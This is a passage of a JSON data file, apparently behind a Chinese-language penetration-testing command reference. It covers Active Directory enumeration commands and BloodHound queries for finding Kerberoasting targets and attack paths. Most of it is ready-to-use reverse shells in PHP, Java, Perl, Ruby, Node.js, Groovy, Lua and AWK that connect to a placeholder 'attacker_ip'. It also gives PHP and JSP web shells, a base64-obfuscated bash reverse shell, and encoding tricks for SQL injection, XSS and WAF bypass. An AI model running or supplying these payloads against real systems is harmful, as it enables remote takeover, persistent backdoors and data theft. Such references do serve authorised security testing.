        "command": "dsquery * -filter \"(&(objectClass=user)(adminCount=1))\" -attr sAMAccountName -limit 0",
        "description": "自定义LDAP过滤器查询特权用户",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "adexplorer",
    "name": "AD Explorer",
    "description": "Sysinternals出品的Active Directory浏览器和快照工具",
    "category": "系统命令",
    "tags": [],
    "commands": [
      {
        "command": "ADExplorer.exe\n# 输入DC地址: dc.domain.com\n# 输入凭证: domain\\user / password\n# 或使用当前域凭证直连",
        "description": "连接到Active Directory进行浏览",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "ADExplorer.exe -snapshot \"\" output.snp\n# 或在GUI中: File > Create Snapshot",
        "description": "创建AD数据库离线快照(可用BloodHound分析)",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "# GUI操作: File > Compare\n# 选择两个时间点的快照文件\n# 对比AD变更(新用户/权限变更等)",
        "description": "对比两个快照发现AD变更",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "ldeep",
    "name": "ldeep",
    "description": "LDAP深度枚举工具，用于从Linux远程查询AD信息",
    "category": "系统命令",
    "tags": [],
    "commands": [
      {
        "command": "ldeep ldap -u user -p password -d domain.com -s dc_ip users\nldeep ldap -u user -p password -d domain.com -s dc_ip users -v",
        "description": "枚举域用户",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "ldap",
            "explanation": "使用LDAP协议连接",
            "type": "parameter"
          },
          {
            "part": "-s",
            "explanation": "LDAP服务器地址",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "ldeep ldap -u user -p pass -d domain.com -s dc_ip groups\nldeep ldap -u user -p pass -d domain.com -s dc_ip gpo",
        "description": "枚举组和组策略对象",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "ldeep ldap -u user -p pass -d domain.com -s dc_ip delegations\nldeep ldap -u user -p pass -d domain.com -s dc_ip trusts",
        "description": "查询委派配置和域信任关系",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "ldeep ldap -u user -p pass -d domain.com -s dc_ip pso\nldeep ldap -u user -p pass -d domain.com -s dc_ip pass-pols",
        "description": "查询密码策略",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "bloodhound-cypher",
    "name": "BloodHound Cypher",
    "description": "BloodHound Neo4j Cypher查询语句集合",
    "category": "系统命令",
    "tags": [],
    "commands": [
      {
        "command": "MATCH p=shortestPath((n:User {name:\"USER@DOMAIN.COM\"})-[*1..]->(m:Group {name:\"DOMAIN ADMINS@DOMAIN.COM\"})) RETURN p",
        "description": "查找指定用户到域管的最短攻击路径",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "MATCH (u:User {hasspn:true}) WHERE NOT u.name STARTS WITH \"KRBTGT\" RETURN u.name, u.serviceprincipalnames",
        "description": "查找可进行Kerberoasting的用户",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "MATCH (u:User {dontreqpreauth:true}) RETURN u.name",
        "description": "查找可进行AS-REP Roasting的用户",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "MATCH p=(u:User)-[:AdminTo]->(c:Computer) RETURN u.name, c.name",
        "description": "查找所有具有本地管理员权限的用户",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name",
        "description": "查找配置了无约束委派的计算机",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "MATCH p=(u:User)-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword*1..]->(target) WHERE NOT u.name STARTS WITH \"KRBTGT\" RETURN p",
        "description": "查找可利用的ACL权限关系",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "php-reverse",
    "name": "PHP反弹Shell",
    "description": "PHP语言反弹Shell命令集合",
    "category": "反弹Shell",
    "tags": [],
    "commands": [
      {
        "command": "php -r '$sock=fsockopen(\"attacker_ip\",4444);exec(\"sh <&3 >&3 2>&3\");'",
        "description": "使用exec函数反弹Shell",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "fsockopen",
            "explanation": "创建TCP连接",
            "type": "command"
          },
          {
            "part": "exec",
            "explanation": "执行系统命令",
            "type": "command"
          }
        ]
      },
      {
        "command": "php -r '$sock=fsockopen(\"attacker_ip\",4444);$proc=proc_open(\"sh\",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'",
        "description": "使用proc_open创建交互式Shell",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "<?php system($_GET[\"cmd\"]); ?>\n<?php echo shell_exec($_REQUEST[\"cmd\"]); ?>\n<?php eval($_POST[\"cmd\"]); ?>",
        "description": "常用PHP一句话木马(仅用于安全测试)",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# 下载完整PHP反弹Shell:\n# https://github.com/pentestmonkey/php-reverse-shell\n# 修改$ip和$port后上传执行",
        "description": "功能完整的PHP反弹Shell脚本",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "java-reverse",
    "name": "Java反弹Shell",
    "description": "Java语言反弹Shell命令集合",
    "category": "反弹Shell",
    "tags": [],
    "commands": [
      {
        "command": "Runtime rt = Runtime.getRuntime();\nString[] cmd = {\"/bin/bash\", \"-c\", \"bash -i >& /dev/tcp/attacker_ip/4444 0>&1\"};\nrt.exec(cmd);",
        "description": "Java Runtime执行反弹Shell",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlcl9pcC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}",
        "description": "用于Payload注入时避免特殊字符问题",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "{echo,BASE64}",
            "explanation": "输出Base64编码的命令",
            "type": "command"
          },
          {
            "part": "{base64,-d}",
            "explanation": "解码Base64",
            "type": "command"
          },
          {
            "part": "{bash,-i}",
            "explanation": "执行解码后的命令",
            "type": "command"
          }
        ]
      },
      {
        "command": "<%@page import=\"java.util.*,java.io.*\"%>\n<%\nProcess p=Runtime.getRuntime().exec(\"bash -c {echo,ENCODED_CMD}|{base64,-d}|{bash,-i}\");\n%>",
        "description": "JSP Web Shell方式",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "perl-reverse",
    "name": "Perl反弹Shell",
    "description": "Perl语言反弹Shell命令",
    "category": "反弹Shell",
    "tags": [],
    "commands": [
      {
        "command": "perl -e 'use Socket;$i=\"attacker_ip\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"sh -i\");};'",
        "description": "Perl标准反弹Shell",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"attacker_ip:4444\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'",
        "description": "Perl IO模块方式",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "ruby-reverse",
    "name": "Ruby反弹Shell",
    "description": "Ruby语言反弹Shell命令",
    "category": "反弹Shell",
    "tags": [],
    "commands": [
      {
        "command": "ruby -rsocket -e'f=TCPSocket.open(\"attacker_ip\",4444).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'",
        "description": "Ruby标准反弹Shell",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-rsocket",
            "explanation": "加载Socket库",
            "type": "parameter"
          },
          {
            "part": "TCPSocket.open",
            "explanation": "创建TCP连接",
            "type": "command"
          }
        ]
      },
      {
        "command": "ruby -rsocket -e 'c=TCPSocket.new(\"attacker_ip\",4444);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'",
        "description": "Windows兼容版本",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "nodejs-reverse",
    "name": "Node.js反弹Shell",
    "description": "Node.js语言反弹Shell命令",
    "category": "反弹Shell",
    "tags": [],
    "commands": [
      {
        "command": "node -e '(function(){var net=require(\"net\"),cp=require(\"child_process\"),sh=cp.spawn(\"sh\",[]);var client=new net.Socket();client.connect(4444,\"attacker_ip\",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();'",
        "description": "Node.js标准反弹Shell",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "net.Socket()",
            "explanation": "创建TCP Socket连接",
            "type": "command"
          },
          {
            "part": "child_process.spawn",
            "explanation": "创建子进程执行Shell",
            "type": "command"
          }
        ]
      },
      {
        "command": "require(\"child_process\").exec(\"bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'\")",
        "description": "简短版本(适用于eval注入)",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "groovy-reverse",
    "name": "Groovy反弹Shell",
    "description": "Groovy语言反弹Shell(常用于Jenkins)",
    "category": "反弹Shell",
    "tags": [],
    "commands": [
      {
        "command": "String host=\"attacker_ip\";\nint port=4444;\nString cmd=\"/bin/bash\";\nProcess p=new ProcessBuilder(cmd).redirectErrorStream(true).start();\nSocket s=new Socket(host,port);\nInputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();\nOutputStream po=p.getOutputStream(),so=s.getOutputStream();\nwhile(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break;}catch(Exception e){}};\np.destroy();s.close();",
        "description": "Groovy完整反弹Shell(用于Jenkins Script Console)",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "\"bash -c {echo,ENCODED_CMD}|{base64,-d}|{bash,-i}\".execute()",
        "description": "简短版(Base64编码命令)",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "lua-reverse",
    "name": "Lua反弹Shell",
    "description": "Lua语言反弹Shell命令",
    "category": "反弹Shell",
    "tags": [],
    "commands": [
      {
        "command": "lua -e \"require('socket');require('os');t=socket.tcp();t:connect('attacker_ip','4444');os.execute('sh -i <&3 >&3 2>&3');\"",
        "description": "Lua Socket库反弹Shell",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "lua5.1 -e 'local host, port = \"attacker_ip\", 4444 local socket = require(\"socket\") local tcp = socket.tcp() tcp:connect(host, port) while true do local cmd, status = tcp:receive() local f = io.popen(cmd, \"r\") local s = f:read(\"*a\") f:close() tcp:send(s) if status == \"closed\" then break end end tcp:close()'",
        "description": "Lua 5.1兼容版本",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "awk-reverse",
    "name": "AWK反弹Shell",
    "description": "AWK语言反弹Shell命令",
    "category": "反弹Shell",
    "tags": [],
    "commands": [
      {
        "command": "awk 'BEGIN {s = \"/inet/tcp/0/attacker_ip/4444\"; while(42) { do{ printf \"shell> \" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null",
        "description": "AWK网络功能反弹Shell",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "/inet/tcp/0/",
            "explanation": "AWK内置TCP连接",
            "type": "command"
          },
          {
            "part": "attacker_ip/4444",
            "explanation": "目标地址和端口",
            "type": "value"
          }
        ]
      },
      {
        "command": "gawk 'BEGIN{s=\"/inet/tcp/0/attacker_ip/4444\";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!=\"exit\");close(s)}}'",
        "description": "GNU AWK简化版",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "base64-encode",
    "name": "Base64编码",
    "description": "Base64编码/解码命令集合",
    "category": "编码解码",
    "tags": [],
    "commands": [
      {
        "command": "# Linux:\necho -n \"payload\" | base64\nbase64 file.txt > encoded.txt\n\n# Windows PowerShell:\n[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes(\"payload\"))\n\n# Python:\npython3 -c \"import base64; print(base64.b64encode(b'payload').decode())\"",
        "description": "各平台Base64编码方法",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# Linux:\necho \"cGF5bG9hZA==\" | base64 -d\nbase64 -d encoded.txt > decoded.txt\n\n# Windows PowerShell:\n[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(\"cGF5bG9hZA==\"))\n\n# Python:\npython3 -c \"import base64; print(base64.b64decode('cGF5bG9hZA==').decode())\"",
        "description": "各平台Base64解码方法",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# Python:\nimport base64\nbase64.urlsafe_b64encode(b\"payload\").decode()\nbase64.urlsafe_b64decode(\"cGF5bG9hZA==\").decode()",
        "description": "URL安全的Base64编码(+/替换为-_)",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "url-encode",
    "name": "URL编码",
    "description": "URL编码/解码命令集合",
    "category": "编码解码",
    "tags": [],
    "commands": [
      {
        "command": "# Python:\npython3 -c \"from urllib.parse import quote; print(quote('<script>alert(1)</script>'))\"\n\n# 双重编码:\npython3 -c \"from urllib.parse import quote; print(quote(quote('<script>alert(1)</script>')))\"\n\n# CyberChef在线: https://gchq.github.io/CyberChef/",
        "description": "URL编码方法(单次/双重)",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# Python:\npython3 -c \"from urllib.parse import unquote; print(unquote('%3Cscript%3Ealert(1)%3C%2Fscript%3E'))\"\n\n# Linux:\nprintf '%b' \"\\x3Cscript\\x3E\"",
        "description": "URL解码方法",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "hex-encode",
    "name": "Hex编码",
    "description": "十六进制编码/解码命令集合",
    "category": "编码解码",
    "tags": [],
    "commands": [
      {
        "command": "# Linux:\necho -n \"payload\" | xxd -p\necho -n \"payload\" | od -A n -t x1 | tr -d \" \\n\"\n\n# Python:\npython3 -c \"print('payload'.encode().hex())\"\npython3 -c \"print('\\\\x'.join([hex(ord(c))[2:] for c in 'payload']))\"",
        "description": "十六进制编码方法",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# Linux:\necho \"7061796c6f6164\" | xxd -r -p\n\n# Python:\npython3 -c \"print(bytes.fromhex('7061796c6f6164').decode())\"",
        "description": "十六进制解码方法",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# SQL注入中使用:\nSELECT 0x61646D696E  -- \"admin\"\n\n# XSS中使用:\n<img src=x onerror=\\x61\\x6c\\x65\\x72\\x74(1)>",
        "description": "在SQL注入和XSS中使用十六进制编码",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "html-encode",
    "name": "HTML编码",
    "description": "HTML实体编码/解码命令集合",
    "category": "编码解码",
    "tags": [],
    "commands": [
      {
        "command": "# Python:\npython3 -c \"import html; print(html.escape('<script>alert(1)</script>'))\"\n\n# 数字编码:\npython3 -c \"print(''.join(['&#'+str(ord(c))+';' for c in '<script>alert(1)</script>']))\"\n\n# 十六进制HTML编码:\npython3 -c \"print(''.join(['&#x'+hex(ord(c))[2:]+';' for c in 'alert']))\"",
        "description": "HTML实体编码(命名/十进制/十六进制)",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# Python:\npython3 -c \"import html; print(html.unescape('&lt;script&gt;alert(1)&lt;/script&gt;'))\"",
        "description": "HTML实体解码",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# 常用HTML实体:\n# < => &lt; 或 &#60; 或 &#x3c;\n# > => &gt; 或 &#62; 或 &#x3e;\n# \" => &quot; 或 &#34; 或 &#x22;\n# ' => &apos; 或 &#39; 或 &#x27;\n# & => &amp; 或 &#38; 或 &#x26;",
        "description": "XSS绕过常用的HTML实体对照",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "unicode-encode",
    "name": "Unicode编码",
    "description": "Unicode编码/解码命令集合",
    "category": "编码解码",
    "tags": [],
    "commands": [
      {
        "command": "# Python Unicode转义:\npython3 -c \"print(''.join(['\\\\u'+hex(ord(c))[2:].zfill(4) for c in 'alert']))\"\n# 输出: \\u0061\\u006c\\u0065\\u0072\\u0074\n\n# UTF-8字节:\npython3 -c \"print('alert'.encode('utf-8'))\"",
        "description": "Unicode各种编码形式",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# Python:\npython3 -c \"print('\\\\u0061\\\\u006c\\\\u0065\\\\u0072\\\\u0074'.encode().decode('unicode_escape'))\"\n\n# JavaScript:\nconsole.log(\"\\u0061\\u006c\\u0065\\u0072\\u0074\")",
        "description": "Unicode解码方法",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# JavaScript Unicode绕过:\n<script>\\u0061\\u006c\\u0065\\u0072\\u0074(1)</script>\n\n# Overlong UTF-8编码:\n# / => %c0%af (可绕过路径过滤)\n# . => %c0%ae",
        "description": "使用Unicode编码绕过WAF/过滤",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "jwt-decode",
    "name": "JWT解码",
    "description": "JWT(JSON Web Token)解码和分析工具",
    "category": "编码解码",
    "tags": [],
    "commands": [
      {
        "command": "# 在线工具:\n# https://jwt.io\n# https://token.dev\n# 粘贴JWT即可查看Header和Payload",
        "description": "使用在线工具解码JWT",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# Python:\npython3 -c \"\nimport base64, json, sys\ntoken = sys.argv[1]\nparts = token.split('.')\nfor i, part in enumerate(parts[:2]):\n    padded = part + '=' * (4 - len(part) % 4)\n    decoded = base64.urlsafe_b64decode(padded)\n    print(json.dumps(json.loads(decoded), indent=2))\n\" YOUR_JWT_HERE",
        "description": "使用Python命令行解码JWT",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# JWT结构: Header.Payload.Signature\n# Header: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n# Payload: {\"sub\":\"1234\",\"name\":\"user\",\"iat\":1516239022}\n# Signature: HMACSHA256(base64url(header)+\".\"+base64url(payload), secret)\n\n# 检查要点:\n# 1. alg是否可改为none\n# 2. 密钥是否为弱密码\n# 3. 是否可将RS256改为HS256\n# 4. exp是否已过期",
        "description": "JWT结构分析和安全检查要点",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  }
]